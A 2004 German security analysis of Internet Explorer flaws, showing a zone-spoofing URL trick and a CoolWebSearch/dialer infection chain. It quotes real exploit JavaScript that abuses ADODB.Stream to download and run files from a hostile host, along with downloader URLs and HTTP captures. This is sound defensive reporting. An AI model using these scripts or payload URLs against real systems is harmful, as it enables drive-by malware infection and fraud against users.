

German-Secure: Internet Explorer am Ende?

Das Sicherheitsrisiko mit dem Browser von Microsoft

*Ein Bericht und eine Analyse von Michael Bürschgens und Marko Rogge**

(27.07.04) - In den vergangenen Wochen ist es vermehrt zu Schlagzeilen um den in aktuelle Windows-Versionen fest integrierten Web-Browser "Internet Explorer" gekommen.

Neue, aber auch seit Monaten bekannte und von Microsoft nicht beseitigte Sicherheitslücken, werden weltweit ausgenutzt, um Systeme mit Schadsoftware zu infizieren, Bankdaten und Passworte der Benutzer zu stehlen, oder dessen PC "nur" zur späteren Verwendung zu "übernehmen".

Die Vielzahl bekannter und selbst für unerfahrene Personen ausnutzbarer Sicherheitslücken bringt offensichtlich auch Microsoft in Bedrängnis. Anders ist nicht zu erklären, dass bekannte und dokumentierte Sicherheitsmängel teilweise über Monate von Unbekannten ausgenutzt werden können, bevor Microsoft Patches veröffentlicht, die die betroffenen Fehler beseitigen sollen.

Ein begehrtes und ertragreiches Angriffsziel sind die Sicherheitsfunktionen des Internet Explorers.

Durch so genannte Sicherheitszonen teilt dieser unterschiedlichen Web-Seiten unterschiedliche Rechte und Privilegien zu. Wenn es einer Webseite gelingt, dem Internet Explorer eine Zugehörigkeit zu einer privilegierten Sicherheitszone vorzutäuschen, dann stehen dieser wesentlich mehr Möglichkeiten zur Verfügung, in das System des Benutzers einzugreifen.

Am 07.06.04 berichteten einschlägige Medien über eine neue Schwachstelle dieser Art. Beispiel: `a href="http://www.buerschgens.de%2F redir=.german-secure.de"`.

Die Zeichenfolge `"%2F"` wird vom Internet Explorer intern in das Zeichen `"/"` konvertiert und von den Sicherheitsfunktionen auch so interpretiert. Die Seite läuft somit in der Sicherheitszone, die der Domain `"www.buerschgens.de"` zugewiesen ist. Da diese Zeichenkonvertierung aber offensichtlich nicht in allen Programmteilen des Internet Explorer durchgeführt wird, wird als Web-Seite die Domain `"german-secure.de"` aufgerufen. Der Text links davon wird als Sub-Domain betrachtet. `"german-secure.de"` läuft dadurch in einer fremden Sicherheitszone.

Besonders gefährlich wird eine solche Sicherheitslücke dadurch, dass bestimmte Domains auf vielen Systemen als vertrauenswürdig voreingestellt sind und somit erraten werden können. `"windowsupdate.microsoft.com"` ist ein typisches Beispiel.

Um die beschriebene Schwachstelle ausnutzen zu können, muss die Domain des Angreifers so konfiguriert sein, dass ungültige Sub-Domains akzeptiert werden. Deshalb lässt sich der Exploit auch nur mit präparierten Servern testen.

Behandelte Themen in diesem Artikel:

[HiJacker übernehmen den Internet Explorer](#)

[Details: der Internet Explorer in feindlichen Händen](#)

[Dialer & Firmen?](#)

[Schlussbemerkung, Ausblick, Gefahren](#)

[Empfehlung, Abhilfe](#)

[Verweise, Anmerkungen](#)

HiJacker übernehmen den Internet Explorer

Wir möchten hier auf weitere Probleme aufmerksam machen, die in Fachkreisen zwar seit langem bekannt sind, in der Öffentlichkeit aber noch nicht ausreichend Beachtung gefunden haben.

Eines der meist verbreitetsten Probleme im Zusammenhang mit dem Microsoft Internet Explorer sind "Browser Hijacker".

Als Browser Hijacker werden bestimmte Programme bezeichnet, deren Aufgabe darin besteht, die Kontrolle über den Internet Explorer dauerhaft zu übernehmen und auf unterschiedlichste Art und Weise, immer wieder den Besuch bestimmter Webseiten zu erzwingen.

In relativ kurzer Zeit hat sich eine Familie von Browser-Hijackern ungewöhnlich schnell und erfolgreich verbreitet. Die unter der Bezeichnung "CoolWebSearch" bzw. "CWS" zusammengefassten Programme stellen fast eine neue Generation von Browser-zentrierter Schadsoftware dar.

Die höchstentwickelten der schätzungsweise 60 bisher aufgetretenen CWS-Varianten dringen über nicht beseitigte Sicherheitslücken des Internet Explorer ein, deaktivieren Virens Scanner, Firewall-Software und andere Schutzmaßnahmen und nehmen tiefe Eingriffe in Windows-Komponenten vor, sodass eine zerstörungsfreie Entfernung des Schädling kaum noch möglich ist. In diesem Artikel versuchen wir, den Infektionsweg einer bislang nicht näher dokumentierten CWS-Variante aufzuzeigen und die technischen Hintergründe zu erläutern. Ausgangspunkt der Infektion - und damit auch der Recherche - ist in unserem Fall eine Datei namens "msits.exe". "msits.exe" ist ein so genannter Downloader. Seine Aufgabe ist das Herunterladen und Starten einer weiteren Datei namens "winadm.exe" von folgendem URL: ("<http://grodnomarket.com/project/russian/winadm.exe>"). Das Programm "winadm.exe" erfüllt nach den Untersuchungen gleich zwei Aufgaben.

Einerseits ist es ein IE-Hijacker. Das Programm ersetzt sämtliche Standardseiten und auch die integrierte Suchfunktion des Microsoft Browsers durch ("<http://www.search-world.net/>"). Zusätzlich werden die Sicherheitseinstellungen des Internet Explorer mit neuen Werten überschrieben und der URL ("<http://63.219.181.7/connect.php?did=od-std298>") aufgerufen.

Die aufgerufene Web-Seite leitet den Internet Explorer gleich weiter zu ("<http://63.219.181.7/download.php?did=od-std298&country=de&>"). Die für den Benutzer normalerweise unsichtbaren HTTP-Header zeigen, dass auch diese Anfrage nicht zu einer Webseite führt, sondern vom Server mit einer weiteren Programmdatei beantwortet wird.

Hier ein Ausschnitt der Server-Antwort:

```
+++RESP 28046+++  
HTTP/1.1 200 OK  
Date: Sat, 26 Jun 2004 22:11:14 GMT  
Server: Apache/1.3.27 (Unix) PHP/4.2.3  
X-Powered-By: PHP/4.2.3Last-Modified: Sat, 26 Jun 2004 22:11:14 GMT  
Accept-Ranges: bytes  
Content-Length: 10036  
Keep-Alive: timeout=9, max=9  
Connection: Keep-Alive  
Content-Disposition: attachment; filename="od-std298.exe"  
Content-Type: application/force-download  
+++CLOSE 28046+++
```

Unschwer erkennbar anhand der Codezeile "Content-Disposition: attachment; filename="od-std298.exe"", wird hier eine weitere Datei geladen.

Die heruntergeladene Datei "od-std298.exe" ist ein Dialer der Firma "online-dialer.com". Im Unterschied zu allen anderen beteiligten EXE-Dateien, ist diese Datei nicht nur mit UPX komprimiert sondern zusätzlich gepatcht, sodass UPX sie nicht mehr entkomprimieren kann.


```

function
f1(){showModalDialog('2.htm',window,'dialogTop:-10000;dialogLeft:-
10000;dialogHeight:1;dialogWidth:1;').location='javascript:\
SCRIPT SRC=http://2awm.com/pop/a/l.php?viconxx>\script\';
}
function f2()
{
if (obj1.readyState == 4)
{
document.body.innerHTML += 'IFRAME ID=myiframe
NAME=myiframe SRC=\/a/r.php\ WIDTH=0 HEIGHT=0>/IFRAME';
setTimeout('myiframe.execScript(f1.toString()),50);
setTimeout('myiframe.execScript(\'f1()\')',51);
}
}
setTimeout('f2();', 70);.
/script

```

Das Exploit-Skript ruft die URL "http://2awm.com/pop/a/r.php" in einem weiteren, aufgrund der Größenangabe unsichtbaren, IFrame auf.

Gleichzeitig wird neues Internet Explorer Fenster geöffnet.

Auch dieses ist unsichtbar, da es auf Koordinaten, weit außerhalb des sichtbaren Bildschirmbereichs platziert wird.

Die Server-Antwort wollen wir Ihnen nicht vorenthalten, denn auch da sind bereits weitere interessante Details verborgen:

```

+++GET 17876+++
GET /pop/a/r.php HTTP/1.1
User-Agent: Opera/7.51 (Windows NT 5.0; U) [en]
Host: 2awm.com
Accept: text/html, application/xml;q=0.9, application/xhtml+xml,
image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: de;q=1.0,en;q=0.9
Accept-Charset: windows-1252, utf-8, utf-16, iso-8859-1;q=0.6, *,q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *,q=0
TE: deflate, gzip, chunked, identity, trailers
Connection: keep-alive

```

```

+++RESP 17876+++
HTTP/1.1 302 Found
Date: Sat, 26 Jun 2004 00:14:03 GMT
Server: Apache/1.3.29 (Unix) (Red-Hat/Linux) PHP/4.3.4
X-Powered-By: PHP/4.3.4
Location: URL:res://shdoclc.dll/HTTP_501.htm
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
X-Pad: avoid browser bug
+++CLOSE 17876+++

```

Durch die Server-Antwort auf die Anfrage nach ../a/r.php, wird im Internet Explorer eine lokal erzeugte Fehlermeldung provoziert.

Da diese vom Internet Explorer selbst erzeugten Meldungsseiten in der für Benutzer nicht sichtbaren Sicherheitszone "lokales System" ausgeführt werden, haben sie praktisch unbeschränkte Rechte im System.

Im zweiten Schritt ruft das Skript die Datei "l.php" vom URL "http://2awm.com/pop/a/l.php?viconxx" ab.

Die Datei "l.php" enthält folgendes Skript:

```

function doit(file)
{
var x = new ActiveXObject("Microsoft.XMLHTTP");

```

```

x.Open("GET", "http://2awm.com/pop/chm/"+file,0);
x.Send();

var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\"+file,2);
document.write('object type="text/html" data="ms-its:C:\\'+
file + '\\1.htm">/object');
}
function getRealShell() {
myiframe.document.write("" + doit +
"doit('viconxx.chm');");
}
document.write("IFRAME ID=myiframe SRC='about:blank' WIDTH=200 HEIGHT=200>/IFRAME");
setTimeout("getRealShell()",100);

```

Das Skript nutzt eine weitere Schwachstelle im Sicherheitsmodell des Internet Explorer, um die im vorhergehenden Schritt erzeugte Fehlermeldung durch eigene Befehle zu ersetzen, ohne dass diese dabei ihre Privilegien als systemeigene Meldung verliert.

Dank dieser Privilegien kann das Skript nun das "ADODB.Stream" Objekt benutzen.

Dieses Objekt stellt, normalerweise nur systemeigenen Webseiten, Funktionen für den Zugriff auf das lokale Dateisystem zu Verfügung.

Im nächsten Schritt lädt das Exploit-Skript die Datei "viconxx.chm" herunter und startet sie.

CHM-Dateien sind kompilierte Hilfedateien, die durch den Internet Explorer interpretiert und mit lokalen Rechten auf dem befallenen Computer ausgeführt werden.

In der Datei befindet sich eine EXE-Datei namens "on-line.exe" und eine HTML-Datei, die folgenden Aufruf enthält:

```
OBJECT NAME='X' CLASSID='CLSID:11120607-1001-1111-1000-110199901123' CODEBASE='on-line.exe'
a href="on-line.exe"/a.
```

"on-line.exe" ist ein herkömmlicher Dialer.

In einer realen Situation wären zu diesem Zeitpunkt bereits alle Sicherheitsmaßnahmen überwunden worden.

[\(zurück\)](#)

Dialer & Firmen?

Die Dialer-Datei mit dem Namen "cax.cab" beinhaltet nach unseren Angaben weitere Details über Server-Standort, Signatur, Zertifizierungsstelle und vermeintliche Urheber.

100% sichere Erkenntnisse kann man jedoch nicht treffen, da bis erscheinen des Artikels einige dieser URLs bereits nicht mehr erreichbar sind und die Firmen sich gegenseitig hin- und verkaufen um sich bestmöglich wohl zu verschleiern.

So scheint es, dass ein Unternehmen mit dem Namen Thawte Consulting (Pty) Ltd. sowie HALDEX Ltd. e-commerce GIBRALTAR für einige dieser URLs und das Marketing verantwortlich sind, so geht es aus der Dialer-Datei hervor.

Das Unternehmen Thawte Consulting Ltd. ist für das Zertifikat der Dialer-Datei verantwortlich, die auf ein weiteres Unternehmen, der Haldex Ltd. Gibraltar, support@online-dialer.com ausgestellt ist.

Eine entsprechende Zertifikatabbildung finden haben wir für Sie im Internet bereit gestellt:

<http://www.german-secure.de/zertifikat4.jpg>

Interessante Einblicke in die Firmenverstrickungen die auch nach Deutschland führen sind bereits diskutiert worden und finden sich hier:

<http://forum.computerbetrug.de>

[\(zurück\)](#)

Schlussbemerkung, Ausblick, Gefahren

Der IIS und Internet Explorer zusammen ausgebeutet

Diese Analyse und der entsprechenden Auswertung zeigt deutlich, dass in der Zukunft mit ausnutzbaren Codes und Scripten immer mehr User den Gefahren des Internet zur Abzocke ausgesetzt werden.

So werden in unserem Beispiel gleich mehrere Sicherheitslücken des Internet Explorer von Microsoft ausgenutzt um einen Schaden auf fremden Rechnern zu verursachen.

Allein die Datei "winadm.exe" wurde entsprechend so umgeschrieben, dass die Sicherheit des Internet Explorer zu dieser Zeit komplett außer Kraft gesetzt wird.

Der ahnungslose Benutzer des Internet Explorer wird somit Opfer von diversen Exploits und Sicherheitslücken die ausgenutzt werden aber er gibt auch die Gewalt über den Browser an einen HiJacker ab.

Durch die installierte Backdoor ist es den unbekanntem Inhabern der Scripte und Internet-Seiten über die diese Scripte geladen werden jederzeit möglich, weitere Programme und/oder schadhafte Programme auf dem befallenen Computer abzulegen und zu starten.

Es sei jedoch erwähnt, dass Microsoft am 03.07.04 ein Workaround gegen die Schwachstelle "ADODB.Stream" anbietet, dieser Workaround jedoch schließt die Sicherheitslücke an sich nicht.

Lediglich können einige der Exploits diese Lücke nicht mehr unmittelbar ausnutzen und es fallen einige Funktionalitäten des Internet Explorer weg.

Mit recht großer Wahrscheinlichkeit ist davon auszugehen, dass möglicherweise unbekannt "Hacker" einige IIS (Internet Information Server von Microsoft) Server geknackt haben, Codes eingeschleust und missbraucht haben, um eine ebenfalls bekannte Schwachstelle im Zusammenspiel zwischen dem IIS und dem Internet Explorer auszunutzen.

So wurde am 25.06.04 bekannt, dass "Hacker" die oben beschriebene Möglichkeit, Java Scripte auf IIS Server abzulegen um allein beim besuchen einer Web-Seite mit schadhafte Code den Internet Explorer zu infizieren.

Dabei wurden Sicherheitslücken im IIS Server und gleichzeitig im Internet Explorer so ausgenutzt, dass ein Backdoor und ein Keylogger auf den Computer des Besuchers der Web-Seite geladen wurde.

Nach Untersuchungen des Internet Storm Center besteht weiterhin die Möglichkeit, diese befallenen IIS Server als SMTP Relay für SPAM-Attacken zu benutzen um so anonym SPAM zu versenden.

(<http://isc.sans.org/diary.php?date=2004-06-24>)

Microsoft rät den Administratoren in einem Microsoft Security Bulletin MS04-011 zur Einspielung eines Patches, der anscheinend dieses Problem beheben soll.

Als weiteres Problem stellt sich die Sicherheitslücke heraus, als erste Meldungen auftauchen nach denen diese Sicherheitslücken ausgenutzt werden um TAN- und PIN-Nummern von Usern mit Homebanking zu stehlen.

Auch deutsche Banken waren davon betroffen.

(z.B. deutsche-bank.de, citibank.de, sparkasse-banking.de, banking.lbbw.de)

Es ist mit großer Sicherheit nicht abzusehen, ob und in wie fern ein größerer Schaden dadurch entstanden ist und wie viele User und/oder IIS-Server davon in der Tat betroffen sind.

Der Internet Explorer ist derzeit einer der unsichersten Anwendungen, die für das Betriebssystem Microsoft Windows erhältlich sind.

Das Gefahrenpotenzial ist in sofern sehr hoch, da es durch gezielte Manipulation zur Übernahme des Internet Explorer sowie weitergehenden Rechten am Computer kommen kann.

In diversen uns bekannten Fällen sind bereits sehr viele User im Internet davon betroffen, wobei Firmennetzwerke noch nicht mit berücksichtigt wurden.

Durch das gezielte einbringen von Trojanern über den Internet Explorer mit Spionagefunktionen ist es möglich, Tastatureingaben mitzulesen und diese wiederum auf gehackte Server abzulegen.

Von dort aus können die Dateien dann gefahrlos von einem Angreifer wieder abgerufen werden.

Weiterin wird immer mehr bekannt, dass gezielt über solche HiJacking-Methoden Spam-Computer im Netz bereits gestellt werden, über die dann Massenmails versendet werden um das Internet mit Spam zu überfluten.

Aber auch das Stehlen von Passwörter, PIN- und TAN-Nummern für das Online-Banking kommen immer mehr in Betracht.

Gerade in der heutigen Zeit sollte man sich nicht so gefahr- und sorglos ins Internet bewegen und Anwendungen verwenden die derzeit für den Missbrauch wie geschaffen sind.

Unzählige Sicherheitslücken im Betriebssystem Microsoft Windows und den implementierten Anwendungen erschweren ein sorgloses Surfen.

Systemadministratoren sollten in Erwägung ziehen, bestimmte Anwendungen (IIS, IE etc.) nicht außerhalb eines Unternehmensnetzwerkes zu betreiben aber auch über die alternativen Möglichkeiten nachdenken.

[\(zurück\)](#)

Empfehlung, Abhilfe

Ist der Internet Explorer ein einziges Sicherheitsloch?

Nach allen Untersuchungen und Analysen kann man zum derzeitigen Stand einen Hinweis gelten lassen.

Der Internet Explorer in seinem gegenwärtigem Zustand ist ein enormes Risiko für Benutzer des Microsoft Betriebssystem Windows.

Die Sicherheitslücken die bislang publiziert wurden lassen nur den Schluss zu, alternative Internet Browser zu verwenden bei denen solche massiven Exploits nicht bekannt sind.

Sehr viele Entwickler der OPEN SOURCE Gemeinde arbeiten an sehr schnellen und leicht bedienbaren Browsern, die kostenlos im Internet erhältlich sind und auf nahezu jedem Betriebssystem laufen.

Nahezu alle Browser sind in deutscher Sprache erhältlich, verstehen sich auf schnellen Web-Seitenaufbau und verschlüsseln ebenfalls die Verbindung über SSL Verbindungen.

Bei vielen Browsern ist ein E-Mail-Programm integriert, das Cookie- und Pop-up-Management ist leicht zu handhaben und sollten einen Umstieg auf einen alternativen Browser erleichtern.

Eines der wohl größten Probleme des Internet Explorer bestehen in der Verschmelzung mit dem Betriebssystem Windows in der momentanen Situation.

Hier besteht die Möglichkeit, multimedial den Internet Explorer in Verbindung mit dem Media Player, Windows Explorer, Bildbearbeitung und weiteren zusammen zu nutzen.

Ein Angriffspotenzial wird hierdurch gefördert, da auf jegliche APIs und Windows-Innereien zugegriffen wird.

Vergleichbar andere Browser unterstützen diese Funktionen in einem so immensen Umfang wie Microsofts Browser nicht.

Welche Browser kann man sich nun von welchen Internetseiten herunterladen:

Mozilla: <http://www.mozilla.org/>

Firefox: <http://www.mozilla.org/products/firefox/>

Opera: <http://www.opera.com/>

Netscape: <http://www.netscape.com/download>

[\(zurück\)](#)

Verweise, Anmerkungen

<http://www.buerschgens.de>

<http://www.german-secure.de>

Microsoft zum Problem mit ADODB.Stream:

<http://support.microsoft.com/default.aspx?kbid=870669>

Microsoft zum Sicherheitsloch im IIS, Patches & Helps:

<http://www.microsoft.com/germany/ms/technetservicedesk/bulletin/bulletinMS04-011.htm>

Was Sie über "Download.Ject" wissen sollten, Microsoft:

http://www.microsoft.com/germany/ms/security/incident/download_ject.msp

Analyse des Haldex Dialer von Symantec:

<http://securityresponse.symantec.com/avcenter/venc/data/dialer.haldex.html>

Dialer-Liste von Symantec:

http://securityresponse.symantec.com/avcenter/expanded_threats/dialers/

US-Regierung rät vom Internet Explorer ab:

http://www.computerbase.de/news/software/browser/2004/juli/usregierung_internet_explorer/

Liste aller IE-Bugs die bekannt wurden:

<http://umbrella.name/iebug.com/display-homepage.php>

Security-Mailing-Listen:

<http://seclists.org/>

Tipps und Tricks zum Internet Explorer:

<http://www.misitio.ch/>

(zurück)

*Über die Autoren:

Michael Bürschgens,

studiert derzeit Informatik in Aachen.

Sein bekanntestes Projekt ist die von ihm ins Deutsche übersetzte Version der Software "Proxomitron", einem Proxy-basierten Filterprogramm für HTTP-Daten unter Microsoft Windows.

<http://www.buerschgens.de/>; E-Mail: website@proxomitron.de

Marko Rogge,

ist als IT-Sicherheitsberater tätig und betreut Unternehmen in Netzwerksicherheitsfragen.

Darüber hinaus ist Marko Rogge Autor des Buches "Hacking Intern" sowie Mitarbeiter diverser Internet-Projekte im IT Sicherheitsbereich bekannt geworden.

Projekte wie Six/Four (6/4) der Internationalen Gruppe Hacktivismos unterstützt Marko Rogge ehrenamtlich und beteiligt sich aktiv an der Durchsetzung der IT-Sicherheit in privaten Haushalten und Unternehmen.

Seine praktischen Erfahrungen bringt Marko Rogge über die Internet-Seiten, der Neuen Presse Coburg und dem Datenschutz-Berater der Verlagsgruppe Handelsblatt ein.

<http://www.german-secure.de>

Weitere Informationen:

**German-Secure IT
Sicherheitsberatung**

Kontakt: Marko Rogge

Tel. (09561) 792720

E-Mail: mr@german-secure.de

Web: www.german-secure.de

E-Mail-Service:

Sie sind an regelmäßigen Informationen aus dem Bereich IT-Security interessiert?

[Nutzen Sie unseren kosten-losen Newsletter-Service](#)

Sagen Sie uns Ihre Meinung:

Hat Ihnen der Artikel gefallen? Haben Sie andere Erfahrungen gemacht? Haben Sie Informationen für uns?

[Treten Sie mit uns in Kontakt!](#)